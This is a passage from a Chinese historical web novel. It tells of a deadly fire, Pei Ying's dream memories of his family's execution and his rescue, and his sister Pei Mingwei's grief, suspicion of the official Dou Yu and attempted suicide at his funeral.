以及大火燃烧的噼里啪啦的声音不绝于耳,过往极度富庶而又极度贫穷的兰陵县在此刻成了烈火的海洋,那些百姓啦赖以居住的房屋成了助长火势的燃料。 慌乱的人影被火光照得分外明晰, 他们急迫得想要救火,可是却被阻挡着, 不被允许前进。 “救火!快救火!” “还在等什么吗!再不救等会就烧光了!” 可是挡在前面的甲士却是无动于衷,他们的长剑已然出鞘,光可鉴人的剑面映着妖娆而又疯狂的火光,火光在剑身上蔓延,凝作锋利的剑尖上那既寒且冷的光,正对着前来救活的百姓。 —— 火焰仿佛有生命一般,妖娆地攀爬上房梁,贪婪地将它包裹住,它们将坚硬的木料逐步灼烧成焦黑的木炭,发出嘎吱嘎吱的,不堪重负的嘶哑呻吟声响,仿佛下一刻便会栋梁摧折、 火光宛若最艳丽胭脂一般映在裴瑛的脸上,他静静地躺在地上,双眸紧紧闭着,白烟幽然缭绕在他的身旁,像是有鬼魅一般悠荡着,缓慢得夺走他所有的生息。 —— 深秋已至,裴府庭院笼罩着一层淡淡的白雾,原本繁荣兴盛的花草大多变得枯黄,逐渐走向老死,衰败的草叶花瓣上头匀匀地洒落了一层白霜,颗颗晶莹得像是剔透的珠子。 一双精致的小靴子将这些凝着洁白秋霜的草叶踩碎,而后飞似地跃上了回廊,当当当地跑在回廊里,一路穿过月门花厅,直奔着后院而去。 一只小手扶住回廊的柱子,年幼的裴瑛气息喘喘弯下腰,不可置信地看着眼前的景象。 像是在梦里一样,虚幻到让人无法相信,但是却又真实得像是在现实中一样。 无比熟悉却又无比陌生的,已经过去的再也无法回来的场景,却在此时奇迹般地重映进他的眼中。 这是那久久无法忘怀却已经模糊的身影,他背对着他,昂然地站着,像是一把坚实锋利的长剑,直直插在地上,他身上穿着大将军的全幅装束,沉重□□的精铁甲胄,等身制作的丝制大红披风,在冷冽秋阳的映衬下却像是一团炙热明烈的火焰。 他的父亲,裴礼显。 站在裴礼显身边的是一位窈窕美丽的贵妇人,她梳着温柔简约的垂髻,上面只有一支简单的玉簪聊作装饰,青色的裙裾拖曳在地板之上,像是一片春天叶子一般轻柔美丽。 裴瑛的喜好大多与母亲叶夫人相似。 叶夫人走到一旁的檀木衣架旁,将红缨头盔取了下来,她垂眸仔细地看着手中拿冰冷的头盔,她用指腹一点一点摩挲着,最后捋过红缨,方才恋恋不舍地走到裴礼显身前,仰头看着自己的夫君,裴礼显随即会意,将腰弯了下来,头低了下来。 叶夫人笑了起来,这一点笑意便是最明媚的春光,瞬间驱散了深秋的寒意。 她将头盔温柔地戴在了裴显礼的头上,纤细的宛若削葱根一般的手指带着系带灵巧地打成了结。 装束停当,裴礼显也到了离开家门出发战场的时候了。 短暂的快乐转瞬即逝,忧愁再次漫上了她的面容,像是丝丝缭绕不去的雾气一般缠绕着她。 “你这一走,不知道什么时候才会回来。” 叶夫人担忧地抚平他衣服上的褶皱,美丽的娥眉蹙了起来。 虽然她在心里预想了许多次的分别,可是真到了该分别的时候,却还是这般舍不得。 裴礼显看见夫人如此担心,不由一笑。他伸出手,常年习武而生着厚茧的手抚在叶夫人的眉头上,温柔地将它抚平。 “这场仗不好打,归期自是难定,不过还请夫人放心,为夫既然请战,定然将匈奴打出回漠北,不让他们再踏足中原。” “我又怎么不知道你的能力呢?” 叶夫人苦笑这点了点头,但很快又慢慢地摇了摇头,她抬起头来,无比眷恋地看着裴礼显:“但如今朝中厌战情绪太盛,我怕你既去了漠北,朝中就会有人趁此作乱。你知道的,你顶着压力出兵,虽说有陛下鼎力支持,但到底势单力孤。我从未怀疑过你为国尽忠之心,也不愿搅扰你的战心。只是想让夫君择良机而行。” “他们不满又能如何。如今大敌当前,既有战机,便有胜利之可能。难道就甘心坐以待毙为人鱼肉吗?” 裴显礼的粗糙的手指穿过叶夫人纤细的手指,紧紧地扣在一起。 “今陛下允准,为夫掌兵,他们又能如何。” “我知道我知道。”叶夫人又摇了摇头,本想将所有泪水都咽下去,可是却还是情不自禁地流了出来,“可如今朝中反对的人皆是开国定鼎时的文臣武将勋贵,就你一个非得去逞这个强。难道晁错的下场你忘了吗?堂堂天子帝师,最后落到弃市的下场……” “我知道。” 裴显礼揽着她肩的手却微微用力,便将妻子揽入怀中,他的下巴轻轻搁在她的发顶,“但今外族侵扰,我怎能只顾自己安危呢?况且,也不一定会出事,他也已答应我,会帮我在朝中斡旋。” 叶夫人好像还有什么话要说,可是苍白的唇嗫喏了半响,却最后还是把想说的话咽了回去。她将头埋在他胸膛,无声地流着泪。 那个人是谁? 年幼的裴瑛的的发梢被风吹得凌乱,眼前的景象渐次朦胧起来,化成斑斓的深黄色色块,直到温热的眼泪从脸庞滑落,他才发现,自己正在哭。 他哽咽着抬起袖子擦掉眼泪,飞奔着朝他们跑去。 彼时的裴业礼已然同叶夫人一同出了府,外面车马喧天,那匹跟随裴礼显将军多年的深红战马也已装备停当,正昂然地等待着主人。 裴瑛越跑越快,可是他们之间的距离越来越远。 “爹,娘!” 年幼的裴瑛想要拽住他们的袖子,可是拼命伸出去的手只捉住了一丝冰冷的风,虚无缥缈。 他重重摔在地上,久久站不起来,他艰难地伸着手,想要引起裴礼显夫妇的主意,可是他们却在分别。 “别去……” “回来……” 年幼的裴瑛已然泪流满面,大滴大滴的泪水落在地上。 大汉旌旗越走越远,冷风吹袭,夹杂着大片大片的鹅毛般雪花,闪着细碎的银光,轻柔地落在他的头上。 他怔怔地抬起头来,使劲眨了眨眼睛,看着阴沉晦暗的天空上飘着的白色的雪。 他的身上不再是锦衣华服,金冠玉佩,取而代之的确实单薄的囚服,在冷风之中飒飒地吹着,他的脊背之上是沉重而又腐朽的枷锁,隐隐可见遗留的斑斑血迹。 “快走!” 奉命督查的侍御史一挥马鞭,指挥着羽林卫押送囚犯上囚车。 他被推搡着,几次险些摔倒,但他依旧倔强地回过头去,蓬草一般凌乱的头发上落满了雪花,他漆黑的眼珠扫过周遭顶盔掼甲持刀负剑的羽林卫,看着骑在高头大马披着披风的侍御史身上。 这人,他好像认识。 风雪大盛,雪花漫天满地仿佛从天宇深处而来一般,扑落在他的眼前,让他甚至睁不开眼睛。 手起刀落的呼啸声,很快,似乎有液体落在他的脸上,浓烈的血腥味从他五窍之中传了进来。 温热的鲜血在冰冷的风雪中显得滚烫而又炽热,几乎要将他灼伤。 他看着自己的血亲一个接着一个倒下,头颅与身体分离,鲜血染红冰雪,最后凝作血冰。 一条条生命就这么逝去了,这世间就只剩下自己一个人了。 这一刻,裴瑛真的情愿屠刀快点落下,好让自己不再目睹亲人遭屠戮的景象。 他转过头去,看着刀斧手。 他漆黑的眼睛是幽远辽阔的死寂,像是黑色的冰山,飘荡在广阔的冰海之上。 原本早该落下的屠刀却在半空之中停下,刀斧手看着少年那梦魇般的沉默,以及那双黑色的无畏生死的眼睛,有一瞬间竟下不去手。 大汉的旗帜猎猎翻飞,呼啸的北风分外猖獗,他整个人的灵魂仿佛依旧被北方带离了躯体,孤寂地飘荡着,不知归向何处。 “磨蹭什么呢,他到底在干什么!” 行刑官与监斩官互相看了一眼,很是不解。 他们都奉了他人的命令,眼见那人的屠刀迟迟落不下,自然有些着急。 壮硕魁梧的刀斧手一生杀过不知多少人,男的女的老的少的,有罪的无罪的,诸多人物应有尽有。 在奉命杀人这个方面,他从未迟疑过,可在眼前这一个手无缚鸡之力的少年身上却深深地迟疑了,手中的屠刀悬在少年的头顶,久久地不能落下。 就这么一个停顿,当他迫于长官的催促想要落刀之时,就听当啷一声脆响,刀剑交击,一道修长优雅的剑声便这么自风雪中匆匆刺了过来,而后剑锋斜着上挑,剑锋悠然划过他的脖颈,留下一道鲜红的血线,刀斧手瞬间毙命,仰躺倒地。 血珠在落地之前便凝作冰冷的血珠,滚落在皑皑白雪之上,先是鲜艳的红豆,洒落一地。 是谁? 裴瑛僵硬地仰起起头来,风雪缥缈中就见一个陌生的男人手持长剑凛凛而立,布衣飘飘身形似鹤,面蒙布巾黑眸如剑。 这是一个很厉害的男人,他带着他,自重重官兵包围之中杀出了一条通天的生路。 虽然有了一条生路,但是两个人自此却成了不见天日的通缉犯,只能一路藏一路躲地生活着。 男人告诉他,他叫明子玉,曾受过裴显礼将军的恩惠。 今裴家遭难,特来相助。 可如此厉害,如此博学的明先生却总是忧愁的,他俊美到几乎女相的眉目上笼罩着淡淡的忧愁的烟雾,一双凤眸也总是阴沉沉得不见光亮。 闲暇之余,明子玉还告诉他,他有一个女儿。 他说,他生平最对不起的人便是他的女儿。 他没能救下她的母亲,却还让她孤身一人到哪水深火热之地,每每想来,总是痛彻心扉。 裴瑛听着,沉默着。 后来,明子玉为了救他,死在了官兵的刀剑之下。 他这么一个厉害的人,曾经孤身一人杀出官府重围的人,却还是死在了官府的追杀之下。 他死得很惨,被五马分尸,头颅被吊在城楼上。 他躲在人群里,默默地记下了在城楼之上谈笑风生的官员们。 很久以后,在他走马上任之后的第三年,他终于有机会便是将这群人五马分尸,他将他们的头颅悬在城楼之上,以警世人。 明子玉死后,那一年的大雪下得格外得大,雪有三尺厚,一脚踩下去几乎都拔不出来。 他偷偷地去看过明子玉的女儿,他躲在树上,接着树枝与积雪的遮挡,透过其间斑驳的缝隙观察着她。 他看着年幼的女孩穿着单薄的衣裳,却拿着比人还高的扫帚和下人们一起扫雪,那些下人怕也是奉了他人之意,故而百般刁难于她。 瑟瑟寒风里,她冻得脸颊通红,只不住地吸着鼻子,身体颤抖得像是被秋风吹得左右乱晃的秋叶。 他的目光挪向远处,就看着两个穿着狐裘带着狐帽的两个女孩,一个稍小些,生得唇红齿白,面如珠玉,她满脸嬉笑地看着那个可怜的女孩,嘴里发出令人作呕的笑声。而另一个稍大些的却也是颇为无奈地看着自己的妹妹,虽并未助纣为虐,但也无规劝之意。 二人穿得甚是暖和,一旁则堆着一堆颜色稍旧的斗篷。 裴瑛一下子就明白为何这么冷的天女孩却没有穿斗篷,想必是许氏姐妹故意拿了她的斗篷,说是斗篷珍贵沾不得雪,等她扫完了再穿上。 裴瑛手指渐渐收紧,指节泛起了白,骨节嘎吱作响。 可是那双紧紧地捏成拳的手很快却又松了开来。 此时此地,他尚在被通缉之中,万不可打草惊蛇,以至功亏一篑。 他只能躲在树上,静静地观察着。 可看着她们满脸嬉笑地看着女孩,裴瑛似乎再也无法忍耐,却在怒气冲破束缚之时,强行将它化作收敛过的力气,将它发泄在树上。 雪哗哗地落下,方才扫出的小径很快就积满了雪。 女孩苦恼地看着新落的雪,只能僵硬地挪着身体走到树下继续扫雪。 该死。 裴瑛立即侧身稳住身体,不再动。 就见那稍小的姑娘眼珠又是一转,她一把便将一个精致的绣球隔着白墙黑瓦丢出了夫,而后对着那可怜的女孩说道:“你,去给我捡回来。” 她只得放下扫帚,便往门跑去。 粉色丝绢制的绣球静静地躺在角门的雪堆里,她赶忙跑了过去,弯腰将绣球捡了起来,小心翼翼地用手将上面沾上去的雪花拂去,上面的精致的绣花顿时叫她眼前一亮,整个人也都高兴起来。 可就在她高高兴兴地回过头之时,却见门已经砰的一声关上了,激起门前积雪飞扬在半空,在冷冽明澈的日光的照耀下,莹莹地发着剔透晶亮的光。 她手中的绣球也啪嗒一声掉在了地上,滚到不知何处去了。 “开门……” 她走到角门前,小心翼翼地拍了拍门。 她隐约听到里面传来笑声,而后笑声渐行渐远,再也听不见了。 天色渐渐黑了下来,路上也没有行人,只有北风凄厉的吼声游荡在街巷里,带着悬在墙上的风灯也左右摇晃。 变幻不歇的光影落在她的身上,照出她所有的悲观的情绪。 她就这么无助地站在雪堆里,无家可归,无处可去。 她彻底明白了,她们是不会让她进去的。 虽然她知道她们都不喜欢她,可是堂而皇之将她关在冰天雪地里,她却是没有想到。 她抱膝坐在角落,用手背擦去了眼泪,然后乖乖地等待着。 她们总归会开门的,她心想。 她像是一只受伤的小鹿一样,窝在雪堆里,独自舔舐着伤口。 裴瑛咬紧了牙关,想要压下心底翻涌的情绪,可是心底的波澜在此时此刻却仿佛有火焰在燃烧一般,一个接着一个的火花飞溅出来,迸溅在心房里,灼灼燃烧着。 可在这一刻,他无法再忍耐,纵身一跃便跳了下去。 他跑向她,耳际风声哗哗作响。 她扭头看向他的那一刻,却又瞬间变得无比惊慌,一双眼睛睁得大大的,里面只有他奔向她的身影。 不,不要—— 她的眼睛里满是濒死死亡的绝望,她猛然站起来,疯了一般向他跑过来。 “快跑——” 她几乎用尽所有力气,一把抱住他的腰,将他扑倒在地。 可是想象中的疼痛并没有到来,裴瑛猛然惊醒,噼里啪啦火焰燃烧声椽梁断折声从头顶传来,他一抬头,坠落的火焰凝作他瞳眸中的一点光亮,并逐渐逐渐绽放开来,化作铺天盖地的火焰。 轰隆—— 仓库瞬间坍塌,烟尘四起,滚滚浓烟升上了天空,遮蔽了那本就寥寥的光。 伴随着凄厉的尖叫声惨叫声,人们瞬间四散而逃,但是还是有很多人来不及逃离而被卷入爆裂的火焰之中。 火焰蔓延,吞噬了不知多少生命。 大火之后,多有大雨。 风惊乱飑,雨密斜侵,喀拉一声大树摧折,沉重的树干轻而易举地便被洪水裹挟住,奔腾着一路冲下山去,直奔兰陵县而去。 —— 轰隆—— 一声仿佛山岳崩塌的炸雷将昏迷的裴明绘瞬间惊醒,她像是被惊吓到一样猛然坐了起来,无助地四处环顾着,纱窗筛过晦暗的月光,像是黯淡的水银一般铺陈在地上,垂下的白纱静谧从房梁上倾泻下来,挡住了她的大半视线。 屋子里的空气沉闷得好似凝固住了一般,人的每一次呼吸都分为艰难。 裴明绘的心里是一片寂静的空荡,她不知道自己要做什么,可是她却急迫想要做些什么。 冷汗却不断地从她身上冒了出来,很快她的衣服便被浸透了,整个人都像刚从水里捞起来一般。 怎么回事,怎么回事?! 她为什么会这么不安,到底哪里出了问题。 正在她疑惑懵懂之时,她的心脏猛地开始刺痛起来,疼痛让她无法呼吸,胸腔的每一次起伏都在加剧疼痛,疼痛如潮水般蔓延,渐次剥夺她的意识。 “啊——” 她整个人缩成了一只虾米,不住地痉挛着,痛苦着。 过了好久,又是一道惊雷轰隆隆炸开,惨白的闪电随后而至,大雨哗啦一下便下了起来,仿佛天上破了一个洞一般无休无止。 心好疼…… 疼痛渐渐止息,裴明绘大口大口地喘着粗气,身上的寝衣也被她扯得松松垮垮的。 急切的落雨声加剧了她的不安,她再次从床榻上爬了起来,微微眯起眼睛,仔细地揣摩着心里那异样的情绪。 心念电闪间,她似乎意识到了什么,甚至没有穿鞋,她一路赤足飞奔着闯出了门,身后守夜的春喜也被雷炸醒了,一见裴明绘匆匆便要出门,急忙跑着去拦她,却又被她推了开来。 外面大雨倾盆,地上是一片激扬的水花,潮湿的水汽被骤起的狂风带着扑面而来,将她浑身淋得湿透。 她却丝毫顾不得这些,赤足踩在雨水里,疯了一般向着府门外跑去 去兰陵! 她的心几乎不能思考,心里的目标催促着她奔跑。 她在雨里奔跑着,许多婢女与侍卫见状想要拦她,可是却被她灵活地躲了开来,她发了疯一般跑着,一路跑出了裴府,可是就在刚要踏出裴府的时候一把便为侍卫拦下,一手刀便将其击晕过去。 在意识消失的最后一刻,她依旧拼命伸着手,向着兰陵的方向。 —— 屋外小雨淅淅沥沥地下着,裴明绘的眼睫沉沉地坠着,她仰躺在榻上,渐渐清醒过来。 外面小雨滴答滴答的声音,可她却隐隐约约地听见了哭声。 是谁在哭? 谁在哭? 裴明绘立即翻身下榻,一旁守护的聂妩立即搀住了她,才让她没有从榻上直接摔到地上。 裴明绘一回头,就发现在聂妩的眼圈都泛着红,未落下的泪尚缀在颊边。 “你哭什么?” 裴明绘的心瞬间吊了起来,隐约间她似乎意识到了什么,可是她依旧不想相信。 聂妩的嘴唇嗫喏着,一句话都说不出口。 “你哭什么!” 裴明绘一把揪住聂妩的衣领。 聂妩却只是在哭,哭到最后是止不住的哽咽,一句话都说不出来。 她在为谁哭? 裴明绘隐约间猜到了什么,可是她全然不会相信。 不会的,不会的。 裴明绘不断地在心里说着,可是她的胸口却还是掀起滔天的狂澜,猛烈地冲击着她的心防,她一把松开聂妩,风一般地冲了出去。 一定不会的。 裴明绘这么想着,可是她的身体却在颤抖着。 她甫一出门,映入眼帘的却是在微微细雨中飘扬的白幡,府中的每个人都披着麻带着孝,慢慢地穿梭在白幡之中。 谁死了? 裴明绘的脚步如灌了铅一般沉重。 谁死了会府中会有如此庄重的丧仪? 裴明绘的脑子有些转不过弯来,她想去找裴瑛,去问一问到底出了什么事? 是不是国丧…… 或者是自己死了,自己的鬼魂飘在这里。 裴明绘慢慢踱步,穿过飘扬着的白幡丧幔,一步一步走向了大厅。 这里依旧有许多的人,他们披麻戴孝,或跪或立。 牛毛般的细雨落下,她的身上是一片黏腻的潮湿,可是她却浑然无觉,呆呆地站在这里,像是一尊没有生命的雕像。 谁死了? 人群转过头来,发现是裴府的小姐,人群如潮水受阻般分为两半,让出一条狭窄的通道,这条通道的尽头,是一只黑漆棺材。 是谁死了? 裴明绘无助地四处环顾,每个人的表情都是如此的哀伤,看向她的眼神,确实怜悯。 是谁死了? 裴明绘想要询问,可是他们的表情似乎已经说明了答案,而她只要稍稍触碰,就会知晓那个残酷的真相。 为什么要这样看她,为什么要怜悯她? 疼痛无声地侵蚀着她的血肉,她终于不能再否认事实,一瞬间,仿佛天地的重量从四面八方压了过来,她的思绪变得支离破碎,再也无法拼凑在一起。 她的目光慢慢地挪向了那里。 她想走过去,可是刚刚迈出一只脚,身子却不受控制地往前跌去,幸得一旁的婢女搀住了她,她才没有摔在地上。 婢女搀扶着她,她就这么一步一步艰难地走了过去。 近在咫尺,却又远在天涯。 短短的距离,她却用尽了一生的力气。 她的脸容是那样的苍白,眼睛朦胧着水光,却坚持着不肯落下来。 怎么可能呢,他怎么可能会死呢? 细小的雨丝落在她的脸上,慢慢地汇集着一条小小的溪流,代替她流下泪来。 她慢慢地走到棺木之前,费力地想要推开棺盖,却又被苏央摁住了。 裴明绘偏过头,看着苏央,用眼神无声地质问他,为什么阻止她。 苏央不忍看裴明绘如此哀戚的模样,偏过头去,嗓音沙哑:“别看了,小姐回去罢。” “开棺。” 裴明绘的声音很微弱。 “小姐……” 苏央依旧死死摁着她的手。 “我说……” 裴明绘用尽力气,声音依旧微弱,但是却有着无可悔改的决绝。 “开棺!” 苏央终于不再阻拦她,缓缓往后走,退至一侧。 心脏潮水一般阵阵涌来的疼痛让她眼前一阵阵发昏,裴明绘忍住呼吸,将所有的哀痛都强行压下,拼尽力气将棺盖移开。 拼命忍耐的泪水从眼角溢出,滑落,随着一声歇斯底里的尖叫,裴府彻底乱作一团。 裴明绘仰躺在冰冷湿润的石砖之上,鲜红嫣然的血不住地从她的口中流出,她的眼睛最后一丝光彩彻底寂灭,并渐渐涣散起来,可是她一想到躺在棺椁里他的模样,却又再次拼命挣扎着想要站起来,可她怎么样都站不起来,浑身的筋骨似乎也被那一场杀害他的大火一同烧了个干净。 周围的人不忍再看,纷纷偏过头去,立在一旁的苏央本想扶她,伸出手却,却又默默地收了回来,退到一侧去。 她苍白到几无血色的手分外艰难地攀住棺材的边缘,停顿等待了许久方才积蓄了站起来的力气。 裴明绘艰难地攀住棺木边缘,当目光再次触及他的尸骨之时,她的整个人却仿佛浸在冰冷的雪水里。 过往的一切历历在目,那个清俊隽雅却手段狠辣的男子,有着对妹妹无限温柔的哥哥,前生凄苦半生荣华的裴家孤儿,就这么躺在这里。 裴明绘隐隐约约似乎看见了他既往的模样,那个谈笑风生,总是衔着温柔笑意的裴瑛的脸容。 是他吗? 她眨了眨眼睛,浑圆的泪珠便从眼眶里掉了下去。 原来是泪水模糊了她的视线,急迫的思念与疯狂的哀痛逼迫她的脑海在眼前勾画出裴瑛的过去的模样。 可是那么真实,那么真切,就好像他还能够呼吸一般。 她慢慢地回想着,过去的一点一滴。 他的笑,他的无奈,他的冷漠……他的一切都在她的脑海中浮现。 时间缓缓流逝,裴明绘终于低下头去,看清了他现在的样子。 他死前,痛苦吗? “哥……” 裴明绘将手伸进棺椁里,握住那业已失去血肉的焦黑的手骨,死命与他十指相扣。 “哥哥。” 可是他不会在应答她了,永远也不会了。 “你怎么伤成这样啊……” 她心疼地抚过他的尸骨,哭声断断续续的,就连呼吸也是一下接着一些,她的声音很是疑惑,“哥哥,你是不是很疼啊……” 灵堂里面静悄悄的,白幡随着冷风在微雨中飘荡,每个人都沉默着。 “哥哥,你看看我好不好。” 裴明绘流着血与泪,斑驳的血泪落在尸骨之上,像是开了红色曼陀罗。 “我再也不会不听你话了,我什么都不要了,我不要了,我真的不要了。我知道错了,我真的知道错了。” “哥哥,我错了,我知道错了——” 她歇斯底里地哭喊着,发了疯着了魔一般想要跳进棺材里,一旁的人立马拽住了她,两个七尺男人联合一起,竟生生没有拽住她。 命运怎么可以这么薄待她,怎么可以让她活着却又剥夺她最后的亲人呢? 老天为什么不取了她的命去,反而叫身负血海深仇却大仇未报的他死去呢? 裴明绘最后看了一眼躺在棺椁里的他,咧嘴笑了起来,鲜血从她的嘴里流了出来,和着她的血泪,一起落在他的尸骨之上。 活着的人,大抵才是最痛苦的罢。 如果真的能够以命换命,那她愿意用自己的生生世世换他回来。 可是,这终究是不可能的。 人死了,终究不会再回来。 永永远远,也不会再回来。 谁为着谁身死魂消,谁又为着谁肝肠寸断? 第65章 新生与复仇 细雨微微里白幡飘扬, 裴瑛的棺椁停灵于灵堂之中,披着斩衰的女子跪在一旁,枯燥的头发用生麻束起, 梳成丧髻,沉重粗糙的生麻压在她的身上, 将她的脊骨都压弯了下去,纤弱的脖颈也垂了下去,似乎再也不能承受如此重量。 她像一株被冷风夺走所有生气的枯草,歪歪斜斜却又倔强地跪在此处。 斩衰用最粗的生麻制作,其断处外露不缉边,上衣叫“衰”。因称为“斩衰”, 而披斩衰者, 服期三年。 裴府里外丧乐隆重,丧仪极盛,一派浮着哀戚的喧闹与浮华,这是皇帝赐与御史大夫裴瑛的极尽哀荣。 裴明绘跪坐在地上, 眼睛是涣散的, 一丝光亮也透不进去。 耳边是喧闹的人声与哭声, 可她却一点声音都听不见,只呆呆地跪在这里,脑子里是一片空白,什么都不能想, 一想便会心痛到不能自已。 可是突然之间,她的臂弯却被人搀住,然后被扶着朝着某个方向跪了下来, 当她在抬起头来,便见皇帝与一众大臣亲来吊唁。 她有些听不清他们说的话, 就算听到了,也有些听不懂,她又费了好大的力气才辨析清这些词句的意思,艰难地将它们组合在一次,才堪堪明白过来,原来他们是在劝慰她不要难过。 可是,为什么不要难过呢? 皇帝看着仿佛失了魂魄一般的女子,无奈而又惆怅地叹了口气:“朕知道你与裴卿兄妹情深,可人死不能复生,早些节哀罢。” 裴明绘怔怔地听着皇帝的话,眼睫颤动着,像是承托了寒露的秋叶一般瑟瑟发抖。 微雨清寒之中,她的脸容苍白得好似冬天的雪,一双漆黑如墨眼睛空洞洞得没有一丝神采。 她垂下头去,枯燥如同枯草一般的发丝落了下来,随着她的颤抖而颤抖着。 人死不能复生吗? 可是为什么人死不能复生呢? 良久,她终于明白了,敛容敝衽,跪地叩首,她长长久久地跪在地上,额头搁在冰冷的石砖上,直到头晕目眩将要晕倒的那一刻,才抬起来。 又是良久,皇帝离开了。 良久的良久,隐隐有哀恸的哭声传来。 谁在哭? 裴明绘僵硬地抬起头,循声看去,就见一个老者被人搀扶着,可就在他擦起袖子擦眼泪之时,那嘴角的一丝诡谲笑意瞬间惊醒了她。 这丝隐秘诡谲的笑意,宛若极黑的夜里骤然滚开的一道惊雷,猛然炸在裴明绘的心里,随后而至的惨白闪电照亮了她千疮百孔的内心,她错愕地盯着窦玉,身子猛然踉跄,向后栽去,却又在摔倒之时伸出手拄在了地上。 他为什么笑? 裴明绘怔怔地看着窦玉,看着他在一众门生故吏的簇拥之下离开。 他死了,这有什么好笑的。 裴明绘死死地盯着他的背影,直到在也看不见。 那丝笑意转瞬即逝,快到像是幻觉一般。 可裴明绘清楚地知道,那不是幻觉。 她苍白到几近透明的脸庞霎时间涌上了血气,一双眼睛仿佛翻涌着阴郁的层云,间或有耀目恐怖的雷霆闪过。 窦玉,是不是你。 尽管没有任何的证据,但是裴明绘心中的仇恨却清晰地对准了这个曾经帮扶过裴瑛的人。 这很荒谬。 裴明绘不清楚窦玉的底细,她也不是一个无端就会怨怼他人的人。 可是这般荒谬却清晰的感觉,让裴明绘那如一潭死水的心像是有岩浆流淌进去,转瞬间便沸腾起来。 裴明绘缓缓地站了起来,可是长时间的跪坐让她眼前发黑,她又猛地往地上跌去,可是就要摔在地上的那一刻,胳膊却又被人拉住了。 她艰难地缓过来,回过头去,久违的脸容便闯进了她的眼中。 温珩。 微风带起细雨,冰冰凉凉的雨粉洒在二人的身上。 今日的温珩并未穿着往日的红衣,因着裴瑛的葬礼换上了素衣,浸在微雨轻风里,衣袂轻动。 裴明绘看着他,胸中激愤,说不出话来,可是一双眼睛却好似涌动着滔天的狂澜。 温珩并未说话,只是握住她的胳膊,不让她再摔倒。 裴明绘抿了一下苍白的唇,想要说话,可什么都说不出来。 过了好一会儿,裴明绘笑了起来,这抹笑太苦太悲,她一把甩开温珩的胳膊,转过身来,踉踉跄跄地走着。 她真的想即刻就杀了温珩,杀了窦玉。 可是她的命只有一条,报仇的机会也只有一次。 她不能杀错人。 直觉并不能说明什么,她需要证据。 微雨已停,阴郁的层云里透出几缕明澈寒冷的亮光来,天地登时亮了起来。 号角长鸣,裴明绘静静地站立着,黑色的发浸润了雨水,湿哒哒地贴在她的脸容上,她的眼眸是纯然的黑色,里面映着的是一层一层封土落下的情景。 过去的事历历在目,他的每一次微笑无比清晰地浮现在她的眼中,他的嗓音似乎还回荡在她的耳边,闪烁这动听的温柔。 往事如从天而来的箭雨,避无可避地让她的心便得千疮百孔鲜血淋漓。 所有的强力积压的情感一瞬之间爆发了,她的内心顿时掀起了滔天的狂澜,淹没了所有理智。 在这一刻,裴明绘是真的想抛下一切,什么都不去想,什么都不去在乎,只跟他,也只跟他,天上碧落,地狱黄泉,哪里都好,只要能与他在一处,什么都是好的。 温珩本就立在人群后面,他本没有给裴瑛送葬的兴趣,也不打算观摩皇帝给裴瑛的巨大哀荣。 可他总是坐卧难安,不得以被逼着来了。 裴瑛死了,温珩理当是高兴的,只高兴却还是不够的,应当是弹冠相庆以贺大喜之日。 可是真当这一日到来的时候,他却并不是那么高兴。 更准确的来说,说不上高兴,却也说不上不高兴。 他慢悠悠地转悠在葬礼里,看着人们或哭泣或平静,不禁冷嗤一声,这三三两两聚在一起的人,悲伤的是后悔自己选错了人,站错了队,愁苦的是有担忧自己的官途该将如何,若有所思的是在思索自己该投向谁,平静的是冷眼旁观观察局势。 倒是没有高兴的。 毕竟裴瑛的势力还没与完全被拔出,若是找那群专司弹劾的侍御史看见,难免又起一场不小的风波。 毕竟现在圣意难测,一旦有人在裴瑛丧礼上喜笑颜开,这件事上达天听,后果自是不堪设想。 温珩回过神来,在沉默着的人群后面站在,他默默看着裴明绘,看着她几乎悲伤到无法自控,心底里的那最后一丁点恶劣的喜悦也彻底被冲散了。 他见她不哭也不闹,如此情景,却是奇怪。 他从不怀疑裴氏兄妹二人的感情,也知道裴明绘对裴瑛的僭越亲情的感情。 裴瑛这般自认清高的人,怎么可能爱上自己的妹妹。 她不会要殉情罢。 当这个念头浮现在温珩脑海里的时候,他顿时愣住了。 风雪夜里,她宁死也不投降,可是今日晴光正好,她却要为一个死去的人殉情。 值得吗? 裴瑛就真的值得她去死吗? 思及此,心里的不甘涌上心头,这种异样的情绪让温珩拧起了眉,别开头不想再看裴明绘。 本来就是利用,哪里又会有什么真情实意呢? 温珩心道。 她自己找死,他倒也乐得见裴瑛到死也不能闭上眼。 心里这般想着,温珩的眉却愈蹙愈深,他的目光死死盯着裴明绘,整个人也处于蓄势待发的状态。 当看到裴明绘真的往下跳的时候,温珩的内心再也无法平静,他几乎没有犹豫,一把推开前面挡路的人,飞身跳了下去,一把拉住裴明绘想要将她拉起来,却又被她一匕首刺了过去,温珩虽身法灵敏,却也没有躲过去,匕首刺进他的肩膀,深入血肉,他疼得咬紧牙关,只闷哼一声,反手把将匕首握住,猛地向后一带,匕首便脱手,几经周折摔在了棺椁之上。 温珩见裴明绘还要反抗,狠下心来一手刀便打晕了裴明绘,然后手一伸,将裴明绘揽在臂弯里。 他垂眸看着女子苍白的脸容,在透过日光之下的微光的照耀下,照亮着那衔在脸颊未落下的凝着无限思念与痛苦的泪在闪着光。 这是一场经年的梦,梦里的一切清晰到无比真实,却又模糊到无比虚幻。 梦里,一切都还是当初的模样。 裴瑛依旧是一袭青衣,长身立在杏花树之下,他有如闲庭散步一般悠闲,眉目间是犹如春风一般的温柔宁静。彼时风起,落花如雨倾,缤纷馥郁的花瓣像是有生命一般随着清风飘进了他的怀里,然后又飘然坠地。 他看向她,眸光微微闪动,像是温柔的春光落进了微微荡漾的春水里,荡起层层金白色的涟漪。 裴明绘久久地怔在原地,可就在意识到这是裴瑛的时候,她便拼命向他跑了过去。 裴瑛张开怀抱,笑着等待着她。 她抱住了他,却只拥住了一怀抱的缤纷落花,她整个失去重心,重重摔在地上,猛然惊醒过来。 梦醒之后,她再次一无所有。 苏央立在外间,不忍看裴明绘如此悲伤的模样,也不愿在此时去打扰她,可是势态紧急,他也不得不进去。 苏央深吸一口气,将所有情绪压住,迈出了步子,走进了里间。 里间很是安静,过往浓郁的熏香也不见了踪影,空气里是令人生叹的死寂。 白纱沉沉地坠着,像是凝固的雾霭,遮挡住女子的身影。 二人都长久的沉默,一直到了苏央觉得不得不在开口的时候:“小姐。” 又是一阵压抑的沉默。 她的声音很是嘶哑,只说了一小句话便没了力气:“什么事。” 苏央无声地叹息道:“小姐。家主若是还在,一定不愿意看到小姐这么痛苦的。今日时局变化无常,小姐当早日振作,重振裴家才是。” 